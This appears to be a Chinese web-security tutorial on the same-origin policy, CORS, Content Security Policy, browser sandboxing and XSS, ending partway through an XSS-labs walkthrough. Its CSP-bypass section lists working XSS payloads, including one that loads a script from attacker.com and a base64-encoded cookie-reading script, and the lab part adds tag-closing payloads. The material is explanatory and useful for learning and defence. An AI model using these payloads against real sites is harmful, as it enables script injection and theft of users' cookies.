同源策略(浏览器)
一般概念
同源策略是(SOP)一种出于浏览器安全方面的考虑而出台的一种策略,它可以保证用户信息的安全,防止恶意的网站窃取。同源策略只允许与本域下的接口交互,不同源 的客户端脚本在没有明确授权的情况下,不能读写对方的资源。
“同源”指的是什么?
1.同协议(eg:http与https是不同的协议)
2.同域名
3.同端口
同源策略限制范围
1.Cookie,localStorage,IndexDB无法读取
2.DOM无法获得
3.AJAX请求不能发送
备注:
localStorage可以将请求的数据直接存储到本地,这个相当于一个5M大小的前端页面数据库,相比于cookie可以节约带宽。
IndexedDB就是浏览器提供的本地数据库,它可以被网页脚本创建和操作。
以edge浏览器开发者工具为例:
上图红框内的内容,可通过同源限制不被非法获取到。
白话来说,浏览器的同源策略限制主要是:1、不共享本地存储;2、不能相互操作DOM;3、不能发送AJAX请求
不受同源策略影响范围
1、页面中的链接、重定向及提交的表格
2、在浏览器中如script、img、iframe、link等可跨域引入资源的标签不受同源策略限制。带有“src”属性的标签,每次在加载时,相当于浏览器发起了一次GET请求,但浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
规避同源限制
Cookie
cookie是服务器写入浏览器的一段信息,只有同源网页才能共享。但是,两个网页一级域名相同,只有二级域名不同,浏览器允许通过document.domain共享Cookie。
服务器可以在设置Cookie的时候,指定Cookie的所属域名为一级域名
Set-Cookie: key=value; domain=.example.com; path=/
这样的话,二级域名和三级域名不用做任何设置,都可以读取这个Cookie。
举例来说,A网页是http://w1.example.com/a.html,B网页是http://w2.example.com/b.html,那么只要设置相同的document.domain,两个网页就可以共享Cookie。
document.domain = 'example.com';
现在,A网页通过脚本设置一个 Cookie。
document.cookie = "test1=hello";
B网页就可以读到这个 Cookie。
var allCookie = document.cookie;
注意,这种方法只适用于 Cookie 和 iframe 窗口
LocalStorage 和 IndexDB
通过window.postMessage
,读写其他窗口的 LocalStorage 也成为了可能。
下面是一个例子,主窗口写入iframe子窗口的localStorage
。
window.onmessage = function(e) { if (e.origin !== 'http://bbb.com') { return; } var payload = JSON.parse(e.data); localStorage.setItem(payload.key, JSON.stringify(payload.data)); };
上面代码中,子窗口将父窗口发来的消息,写入自己的LocalStorage。
父窗口发送消息的代码如下。
var win = document.getElementsByTagName('iframe')[0].contentWindow; var obj = { name: 'Jack' }; win.postMessage(JSON.stringify({key: 'storage', data: obj}), 'http://bbb.com');
加强版的子窗口接收消息的代码如下。
window.onmessage = function(e) { if (e.origin !== 'http://bbb.com') return; var payload = JSON.parse(e.data); switch (payload.method) { case 'set': localStorage.setItem(payload.key, JSON.stringify(payload.data)); break; case 'get': var parent = window.parent; var data = localStorage.getItem(payload.key); parent.postMessage(data, 'http://aaa.com'); break; case 'remove': localStorage.removeItem(payload.key); break; } };
加强版的父窗口发送消息代码如下。
var win = document.getElementsByTagName('iframe')[0].contentWindow; var obj = { name: 'Jack' }; // 存入对象 win.postMessage(JSON.stringify({key: 'storage', method: 'set', data: obj}), 'http://bbb.com'); // 读取对象 win.postMessage(JSON.stringify({key: 'storage', method: "get"}), "*"); window.onmessage = function(e) { if (e.origin != 'http://aaa.com') return; // "Jack" console.log(JSON.parse(e.data).name); };
iframe
如果两个网页不同源,就无法拿到对方的DOM。典型的例子是iframe
窗口和window.open
方法打开的窗口,它们与父窗口无法通信。
比如,父窗口运行下面的命令,如果iframe
窗口不是同源,就会报错。
document.getElementById("myIFrame").contentWindow.document // Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.
上面命令中,父窗口想获取子窗口的DOM,因为跨源导致报错。
反之亦然,子窗口获取主窗口的DOM也会报错。
window.parent.document.body // 报错
如果两个窗口一级域名相同,只是二级域名不同,那么设置上一节介绍的document.domain
属性,就可以规避同源政策,拿到DOM。
对于完全不同源的网站,目前有三种方法,可以解决跨域窗口的通信问题。
- 片段识别符(fragment identifier)
- window.name
- 跨文档通信API(Cross-document messaging)
片段识别符
片段标识符(fragment identifier)指的是,URL的#
号后面的部分,比如http://example.com/x.html#fragment
的#fragment
。如果只是改变片段标识符,页面不会重新刷新。
父窗口可以把信息,写入子窗口的片段标识符。
var src = originURL + '#' + data; document.getElementById('myIFrame').src = src;
子窗口通过监听hashchange
事件得到通知。
window.onhashchange = checkMessage; function checkMessage() { var message = window.location.hash; // ... }
同样的,子窗口也可以改变父窗口的片段标识符。
parent.location.href= target + "#" + hash;
window.name
浏览器窗口有window.name
属性。这个属性的最大特点是,无论是否同源,只要在同一个窗口里,前一个网页设置了这个属性,后一个网页可以读取它。
父窗口先打开一个子窗口,载入一个不同源的网页,该网页将信息写入window.name
属性。
window.name = data;
接着,子窗口跳回一个与主窗口同域的网址。
location = 'http://parent.url.com/xxx.html';
然后,主窗口就可以读取子窗口的window.name
了。
var data = document.getElementById('myFrame').contentWindow.name;
这种方法的优点是,window.name
容量很大,可以放置非常长的字符串;缺点是必须监听子窗口window.name
属性的变化,影响网页性能。
window.postMessage
上面两种方法都属于破解,HTML5为了解决这个问题,引入了一个全新的API:跨文档通信 API(Cross-document messaging)。
这个API为window
对象新增了一个window.postMessage
方法,允许跨窗口通信,不论这两个窗口是否同源。
举例来说,父窗口http://aaa.com
向子窗口http://bbb.com
发消息,调用postMessage
方法就可以了。
var popup = window.open('http://bbb.com', 'title'); popup.postMessage('Hello World!', 'http://bbb.com');
postMessage
方法的第一个参数是具体的信息内容,第二个参数是接收消息的窗口的源(origin),即"协议 + 域名 + 端口"。也可以设为*
,表示不限制域名,向所有窗口发送。
子窗口向父窗口发送消息的写法类似。
window.opener.postMessage('Nice to see you', 'http://aaa.com');
父窗口和子窗口都可以通过message
事件,监听对方的消息。
window.addEventListener('message', function(e) { console.log(e.data); },false);
message
事件的事件对象event
,提供以下三个属性。
event.source
:发送消息的窗口event.origin
: 消息发向的网址event.data
: 消息内容
下面的例子是,子窗口通过event.source
属性引用父窗口,然后发送消息。
window.addEventListener('message', receiveMessage); function receiveMessage(event) { event.source.postMessage('Nice to see you!', '*'); }
event.origin
属性可以过滤不是发给本窗口的消息。
window.addEventListener('message', receiveMessage); function receiveMessage(event) { if (event.origin !== 'http://aaa.com') return; if (event.data === 'Hello World') { event.source.postMessage('Hello', event.origin); } else { console.log(event.data); } }
AJAX
同源政策规定,AJAX请求只能发给同源的网址,否则就报错。
除了架设服务器代理(浏览器请求同源服务器,再由后者请求外部服务),有三种方法规避这个限制。
- JSONP
- WebSocket
- CORS
JSONP
JSONP是服务器与客户端跨源通信的常用方法。最大特点就是简单适用,老式浏览器全部支持,服务器改造非常小。
它的基本思想是,网页通过添加一个<script>
元素,向服务器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。
首先,网页动态插入<script>
元素,由它向跨源网址发出请求。
function addScriptTag(src) { var script = document.createElement('script'); script.setAttribute("type","text/javascript"); script.src = src; document.body.appendChild(script); } window.onload = function () { addScriptTag('http://example.com/ip?callback=foo'); } function foo(data) { console.log('Your public IP address is: ' + data.ip); };
上面代码通过动态添加<script>
元素,向服务器example.com
发出请求。注意,该请求的查询字符串有一个callback
参数,用来指定回调函数的名字,这对于JSONP是必需的。
服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。
foo({ "ip": "8.8.8.8" });
由于<script>
元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo
函数,该函数就会立即调用。作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse
的步骤。
WebSocket
WebSocket是一种通信协议,使用ws://
(非加密)和wss://
(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。
下面是一个例子,浏览器发出的WebSocket请求的头信息(摘自维基百科)。
GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: http://example.com
上面代码中,有一个字段是Origin
,表示该请求的请求源(origin),即发自哪个域名。
正是因为有了Origin
这个字段,所以WebSocket才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出如下回应。
HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk= Sec-WebSocket-Protocol: chat
跨域资源共享CORS
CORS是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是W3C标准,是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求,CORS允许任何类型的请求。
浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。
简单请求
只要同时满足以下两大条件,就属于简单请求:
(1) 请求方法是以下三种方法之一:
- HEAD
- GET
- POST
(2)HTTP的头信息不超出以下几种字段:
- Accept
- Accept-Language
- Content-Language
- Last-Event-ID
- Content-Type:只限于三个值
application/x-www-form-urlencoded
、multipart/form-data
、text/plain
基本流程
对于简单请求,浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin
字段。
下面是一个例子,浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin
字段。
GET /cors HTTP/1.1 Origin: http://api.bob.com Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...
上面的头信息中,Origin
字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。
如果Origin
指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin
字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequest
的onerror
回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。
如果Origin
指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。
Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar Content-Type: text/html; charset=utf-8
上面的头信息之中,有三个与CORS请求相关的字段,都以Access-Control-
开头。
(1)Access-Control-Allow-Origin
该字段是必须的。它的值要么是请求时Origin
字段的值,要么是一个*
,表示接受任意域名的请求。
(2)Access-Control-Allow-Credentials
该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true
,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true
,如果服务器不要浏览器发送Cookie,删除该字段即可。
(3)Access-Control-Expose-Headers
该字段可选。CORS请求时,XMLHttpRequest
对象的getResponseHeader()
方法只能拿到6个基本字段:Cache-Control
、Content-Language
、Content-Type
、Expires
、Last-Modified
、Pragma
。如果想拿到其他字段,就必须在Access-Control-Expose-Headers
里面指定。上面的例子指定,getResponseHeader('FooBar')
可以返回FooBar
字段的值。
withCredentials
CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials
字段。
Access-Control-Allow-Credentials: true
另一方面,开发者必须在AJAX请求中打开withCredentials
属性。
var xhr = new XMLHttpRequest(); xhr.withCredentials = true;
否则,即使服务器同意发送Cookie,浏览器也不会发送。或者,服务器要求设置Cookie,浏览器也不会处理。
但是,如果省略withCredentials
设置,有的浏览器还是会一起发送Cookie。这时,可以显式关闭withCredentials
。
xhr.withCredentials = false;
需要注意的是,如果要发送Cookie,Access-Control-Allow-Origin
就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie
也无法读取服务器域名下的Cookie。
非简单请求
预检请求
非简单请求是那种对服务器有特殊要求的请求,比如请求方法是PUT
或DELETE
,或者Content-Type
字段的类型是application/json
。
非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight)。
浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest
请求,否则就报错。
下面是一段浏览器的JavaScript脚本。
var url = 'http://api.alice.com/cors'; var xhr = new XMLHttpRequest(); xhr.open('PUT', url, true); xhr.setRequestHeader('X-Custom-Header', 'value'); xhr.send();
上面代码中,HTTP请求的方法是PUT
,并且发送一个自定义头信息X-Custom-Header
。
浏览器发现,这是一个非简单请求,就自动发出一个"预检"请求,要求服务器确认可以这样请求。下面是这个"预检"请求的HTTP头信息。
OPTIONS /cors HTTP/1.1 Origin: http://api.bob.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: X-Custom-Header Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...
"预检"请求用的请求方法是OPTIONS
,表示这个请求是用来询问的。头信息里面,关键字段是Origin
,表示请求来自哪个源。
除了Origin
字段,"预检"请求的头信息包括两个特殊字段。
(1)Access-Control-Request-Method
该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT
。
(2)Access-Control-Request-Headers
该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header
。
预检请求的回应
服务器收到"预检"请求以后,检查了Origin
、Access-Control-Request-Method
和Access-Control-Request-Headers
字段以后,确认允许跨源请求,就可以做出回应。
HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Methods: GET, POST, PUT Access-Control-Allow-Headers: X-Custom-Header Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Content-Length: 0 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain
上面的HTTP回应中,关键的是Access-Control-Allow-Origin
字段,表示http://api.bob.com
可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。
Access-Control-Allow-Origin: *
如果服务器否定了"预检"请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest
对象的onerror
回调函数捕获。控制台会打印出如下的报错信息。
XMLHttpRequest cannot load http://api.alice.com. Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.
服务器回应的其他CORS相关字段如下。
Access-Control-Allow-Methods: GET, POST, PUT Access-Control-Allow-Headers: X-Custom-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1728000
(1)Access-Control-Allow-Methods
该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次"预检"请求。
(2)Access-Control-Allow-Headers
如果浏览器请求包括Access-Control-Request-Headers
字段,则Access-Control-Allow-Headers
字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。
(3)Access-Control-Allow-Credentials
该字段与简单请求时的含义相同。
(4)Access-Control-Max-Age
该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。
浏览器的正常请求和回应
一旦服务器通过了"预检"请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin
头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin
头信息字段。
下面是"预检"请求之后,浏览器的正常CORS请求。
PUT /cors HTTP/1.1 Origin: http://api.bob.com Host: api.alice.com X-Custom-Header: value Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...
上面头信息的Origin
字段是浏览器自动添加的。
下面是服务器正常的回应。
Access-Control-Allow-Origin: http://api.bob.com Content-Type: text/html; charset=utf-8
上面头信息中,Access-Control-Allow-Origin
字段是每次回应都必定包含的。
内容安全策略(CSP)
一般概念
为缓解部分潜在的跨站脚本问题,浏览器的拓展程序系统引入了内容安全策略。开发者可以创建并强制应用一些规则,管理网站允许加载的内容。简单来说,我们可以规定,我们的网站只能接受我们指定的请求资源。CSP本质上是白名单制度,开发者明确告诉客户端哪些资源可以被加载、执行。它的实现和执行全部由浏览完成,开发者只需要提供配置。
策略作用
在上一节内容,我们知道了同源策略。但同源限制了页面资源只能从指定源内服务器上获取资源,而不允许跨域。同源策略在防御了恶意代码的同时也限制了网页的灵活性。故而在进行跨域请求时,CSP可将不符合策略的攻击挡在门外。其作用可概括为:限制资源获取、报告资源获取越权
策略指令
指令就是csp中用来定义策略的基本单位,我们可以使用单个或者多个指令来组合作用,功能防护我们的网站.
以下是常用的指令说明:
指令名 | demo | 说明 |
---|---|---|
default-src | ‘self’ cdn.example.com | 默认策略,可以应用于js文件/图片/css/ajax请求等所有访问 |
script-src | ‘self’ js.example.com | 定义js文件的过滤策略 |
style-src | ‘self’ css.example.com | 定义css文件的过滤策略 |
img-src | ‘self’ img.example.com | 定义图片文件的过滤策略 |
connect-src | ‘self’ | 定义请求连接文件的过滤策略 |
font-src | font.example.com | 定义字体文件的过滤策略 |
object-src | ‘self’ | 定义页面插件的过滤策略,如 <object>, <embed> 或者<applet> 等元素 |
media-src | media.example.com | 定义媒体的过滤策略,如 HTML6的 <audio>, <video> 等元素 |
frame-src | ‘self’ | 定义加载子frmae的策略 |
sandbox | allow-forms allow-scripts | 沙盒模式,会阻止页面弹窗/js执行等,你可以通过添加allow-forms allow-same-origin allow-scripts allow-popups, allow-modals, allow-orientation-lock, allow-pointer-lock, allow-presentation, allow-popups-to-escape-sandbox, and allow-top-navigation 策略来放开相应的操作 |
report-uri | /some-report-uri |
default-src限制全局
指令值
所有以-src
结尾的指令都可以用一下的值来定义过滤规则,多个规则之间可以用空格来隔开
值 | demo | 说明 |
---|---|---|
* | img-src * | 允许任意地址的url,但是不包括 blob: filesystem: schemes. |
‘none’ | object-src ‘none’ | 所有地址的咨询都不允许加载 |
‘self’ | script-src ‘self’ | 同源策略,即允许同域名同端口下,同协议下的请求 |
data: | img-src ‘self’ data: | 允许通过data来请求咨询 (比如用Base64 编码过的图片). |
domain.example.com | img-src domain.example.com | 允许特性的域名请求资源 |
*.example.com | img-src *.example.com | 允许从 example.com下的任意子域名加载资源 |
https://cdn.com | img-src https://cdn.com | 仅仅允许通过https协议来从指定域名下加载资源 |
https: | img-src https: | 只允许通过https协议加载资源 |
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允许行内代码执行 |
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允许不安全的动态代码执行,比如 JavaScript的 eval()方法 |
CSP使用
CSP分类:
(1)Content-Security-Policy
配置好并启用后,不符合 CSP 的外部资源就会被阻止加载。
(2)Content-Security-Policy-Report-Only
表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri
选项配合使用。
CSP的使用:
(1)在HTTP Header
上使用(首选)
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
(2)在HTML上使用
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
Meta 标签与 HTTP 头只是行式不同而作用是一致的,如果 HTTP 头与 Meta 定义同时存在,则优先采用 HTTP 中的定义。
如果用户浏览器已经为当前文档执行了一个 CSP
的策略,则会跳过 Meta
的定义。如果 META
标签缺少 content
属性也同样会跳过。
CSP使用实例:
1.一个网站管理者想要所有内容均来自站点的同一个源 (不包括其子域名)
Content-Security-Policy: default-src 'self'
2.一个网站管理者允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同)
Content-Security-Policy: default-src 'self' *.trusted.com
3.一个网站管理者允许网页应用的用户在他们自己的内容中包含来自任何源的图片, 但是限制音频或视频需从信任的资源提供者(获得),所有脚本必须从特定主机服务器获取可信的代码.
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
在这里,各种内容默认仅允许从文档所在的源获取, 但存在如下例外:
- 图片可以从任何地方加载(注意 “*” 通配符)。
- 多媒体文件仅允许从
media1.com
和media2.com
加载(不允许从这些站点的子域名)。 - 可运行脚本仅允许来自于
userscripts.example.com
。
4.一个线上银行网站的管理者想要确保网站的所有内容都要通过SSL方式获取,以避免攻击者窃听用户发出的请求。
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
该服务器仅允许通过HTTPS方式并仅从onlinebanking.jumbobank.com
域名来访问文档。
5.一个在线邮箱的管理者想要允许在邮件里包含HTML,同样图片允许从任何地方加载,但不允许JavaScript或者其他潜在的危险内容(从任意位置加载)。
Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *
注意这个示例并未指定script-src
。在此CSP示例中,站点通过 default-src
指令的对其进行配置,这也同样意味着脚本文件仅允许从原始服务器获取。
绕过CSP
场景1:
Content-Security-Policy: script-src https://sina.comhttps://baidu.com'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
通过观察策略配置不难发现,在script-src指令中允许不安全的内联资源,那么可以通过引入内联脚本达到执行命令的目的:
"/><script>alert(xss);</script>
场景2:
Content-Security-Policy: script-src https://sina.comhttps://baidu.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
这个配置则是错误的使用了unsafe-eval指令值,由于使用了data配置,不能直接使用script脚本,可通过base64进行编码,可构造以下payload:
<script src="https://www.freebuf.com/articles/web/data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
场景3 :
Content-Security-Policy: script-src 'self' https://sina.com https://baidu.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
这个配置在script-src指令中错误的使用了通配符,可以构造以下payload:
"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=https://www.freebuf.com/articles/web/data:text/javascript,alert(1337)></script>
场景4:
Content-Security-Policy:script-src ‘self’ report-uri /Report-parsing-url;
这个配置中缺少了default-src和object-src配置,那么可以构造以下payload:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain="})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always">
</object>
场景5:
Content-Security-Policy: script-src ‘self’ https://www.baidu.comobject-src ‘none’; report-uri: /Report-parsing-uri;
这个配置场景中,script-src被设置为self并且加了白名单配置,可以使用jsonp绕过。Jsonp允许不安全的回调方法从而允许攻击者执行xss,payload如下:
"><script src="https://www.baidu.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
场景6:
Content-Security-Policy: script-src ‘self’ ajax.googleapis.com; object-src ‘none’; report-uri /Report-parsing-url;
如果应用使用angular并且脚本都是从一个白名单域中加载的,通过调用回调函数或者有漏洞的类从而绕过CSP策略,详细的细节可以参考:
https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:”Sh*t, -it’s-CSP!”
Payload如下:
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
场景7:
Content-Security-Policy:script-src ‘self’ accounts.google.com/random/ website.with.redirect.com; object-src ‘none’; report-uri /Report-parsing-url;
在上面的配置场景中,通过script-src定义了两个可以加载js脚本的白名单域。如果白名单域中任何一个域有开放的跳转链接那么CSP可以被绕过,攻击者可以构造payload使用该跳转链接跳转到另外一个支持jsonp调用的白名单域中,这种场景中,因为CSP只会检查域名host是否合法,不会检查路径参数,从而导致XSS被执行,payload如下:
Content-Security-Policy:script-src ‘self’ accounts.google.com/random/ website.with.redirect.com; object-src ‘none’; report-uri /Report-parsing-url;
场景8:
Content-Security-Policy: default-src ‘self’ data:*; connect-src ‘self’; script-src ‘self’; report-uri /_csp; upgrade-insecure-requests;
该场景下的CSP能够通过使用iframes绕过,前提是应用允许加载来自白名单域的iframes,满足前提的情况下,那么可以通过使用iframe的一个特殊属性srcdoc来执行XSS,payload如下:
<iframe srcdoc='<script src="https://www.freebuf.com/articles/web/data:text/javascript,alert(document.domain)"></script>'></iframe>
浏览器沙箱
一般概念
沙箱是一种隔离对象/线程/进程的机制,控制浏览器访问系统资源的权限。比如限制脚本操作本页面之外的其他页面的DOM,限制访问非同源文档,限制向非同源服务器发送ajax等等。在如今多进程构架的浏览器中隔离渲染进程和操作系统的就是安全沙箱。
多进程构架
现代的浏览器架构都是多进程架构。划分出了浏览器主进程、网络进程、渲染进程等多个进程。浏览器也分为两部分:浏览器内核、渲染进程。
渲染进程只负责Html解析、CSS解析、图片解码、渲染位图等任务,而其他操作系统层面任务最终都会由浏览器内核处理。
实现
安全沙箱是利用操作系统提供的安全技术,这样渲染进程在运行中就无法获取或修改操作系统中的数据。安全沙箱最小隔离单位是进程,所以无法保护单进程浏览器。
英文看不懂,有中文版:
Google Chrome是第一个采取多进程架构的浏览器。Chrome的主要进程氛围:浏览器进程,渲染进程,插件进程、拓展进程。插件进程如flash、pdf等于浏览器进程严格隔离,因此不会互相影响。
Chrome的渲染引擎由SandBox隔离,网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPC channel,在其中会进行一些安全检查。
沙箱模型工作的基本单位就是进程。每一个进程对应一个沙箱。
安全沙箱所影响到的模块功能
持久存储
cookie的存取、文件的读写都是由浏览器内核完成。浏览器内核会通过IPC通信将结果返回给渲染进程。
网络访问
网络访问也是由浏览器内核完成的。
用户交互
操作系统可提供一个叫窗口句柄的东西,应用程序可在其上进行绘制、接收键盘鼠标消息。由于安全沙箱的存在,渲染进程不可操作窗口句柄,需通过IPC和浏览器内核通信间接完成交互。
页面的渲染
渲染进程生成的位图,不可直接显示到显示屏上。需要先共享给浏览器内核,由浏览器内核将图片展示到屏幕上。
用户输入事件
用户的输入事件会先传给浏览器内核,浏览器内核再根据当前情景进行具体的任务调度。这一机制极大的限制了渲染进程对用户输入的监听能力。
站点隔离
站点隔离是指Chrome将同一站点(地址所含根域名、协议版本相同的站点)所关联的页面放入同一个渲染进程处理。
实现站点隔离,可使恶意的iframe被隔离在自己的进程中,无法访问其他iframe的内容,防止入侵其他站点。
跨站脚本攻击(XSS)
一般概念
跨站脚本攻击又被称为xss。xss属于客户端攻击,攻击者在我们的网页中嵌入恶意脚本,当用户使用浏览器浏览这些被嵌入恶意脚本的网页的时候,脚本就会在我们的浏览器中执行。xss攻击的核心方式是 脚本。这些脚本通常是javascript脚本,从这个层面来说javascript能做的事情,xss攻击一般都能做到。比如;获取页面内容,盗取用户cookie,劫持前端逻辑,发送非法请求,盗取页面数据,url跳转等。
XSS分类
反射型xss
反射型xss又被称为非持久型xss。当用户访问一个带有xss攻击代码的url请求的时候,向服务器发送请求,服务器接受请求后处理,并把客户端发送的xss攻击代码返回给客户端,客户端解析这段代码的时候,就有可能遭受xss攻击。
下面是一个典型的反射型xss攻击示例:
- 用户浏览某个网站A,攻击者在这个网站中嵌入了恶意的脚本用于盗取用户的cookie等信息
- 攻击者诱导用户触发xss攻击(比如诱导用户点击非法链接),当用户触发了xss攻击的时候就会将自己的用户信息发送给攻击者
- 攻击者在获取用户的cookie后,就有可能盗用用户的身份信息进行非法操作
存储型xss
存储型xss又被称为持久化的xss,也是最危险的xss攻击方式。一旦攻击成功,就有可能造成大规模的xss攻击,也就是我们通常所说的xss蠕虫。
存储型xss攻击的一般原理是,客户端将带有xss攻击的数据发送给服务器,服务器接收并存储在数据库。当用户下次再访问这个页面的时候,服务器会读取数据库并将之前的xss代码取出发送给浏览器。浏览器解析这段数据的时候,就会遭受xss攻击。
所以,反射型xss攻击一般需要用户手动触发,而存储型xss攻击却是能够自动触发的。一般来说,反射型xss攻击的危害要比存储型xss攻击的危害要小的多。
DOM型xss
我们可以通过JavaScript来操作dom树,所以,xss攻击也是能够做到这一点的。dom型xss攻击最大的危害就是改变我们网页的布局。这种类型的xss是不需要和服务器进行交互的,只发生在客户端处理阶段。比如一段xss攻击的代码是:
const div = document.createElement('div')
div.innerText = 'xss攻击的代码'
document.body.appendChild(div)
DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
DOM的规定如下:
整个文档是一个文档节点;
每个HTML标签是一个元素节点:
包含在HTML元素中的文本是文本节点;
每一个HTML属性是一个属性节点;
节点与节点之间都有等级关系。
HTML都是一个个节点,而这些节点组成了DOM的整体结构:节点树。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lGIL523J-1660619619134)(https://tuchuang-1303875118.cos.ap-shanghai.myqcloud.com/TyporaIMG/20171026172334214)]
可以发现, DOM本身就代表文档的意思,而基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段。
DOM详细介绍:https://developer.mozilla.org/zh-CN/docs/Web/API/Document_Object_Model
XSS测试
XSS测试的核心算是把自己传入的恶意payload在前端执行。总体测试过程中涉及各种闭合、编码,此处以XSS-labs的20道题解决过程为例。
Level 1 无过滤机制
看了半天,原来参数在URL
里放着呢,
修改参数,页面也随之变动,右键查看源代码,发现有跳转到level 2 的JS
,而我们传入的参数是几位的,下面就显示payload的长度。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MsUVkill-1660619619145)(https://gitee.com/ruoli-s/cloudimage/raw/master/img/image-20210115192731335.png)]
OK,直接走代码:
<script>alert(/xss/)</script>
Leval 2 闭合标签
我们直接输入level 1 的 payload
,发现直接输出了,这里应该是做了实体转义。
F12
查看前端代码:
第一处就是显示在页面上的代码,第二处是我们输入的代码,这里应该是做了转义,我们构造payload,使用">
尝试闭合input
标签:
"><script>alert(/xss/)</script>
Leval 3 单引号闭合
+htmlspecialchar()
函数
来到Leval 3,我们还是先使用上两关测试的payload来验证:
发现全部被实体转义了,我们去看源代码:
<?php
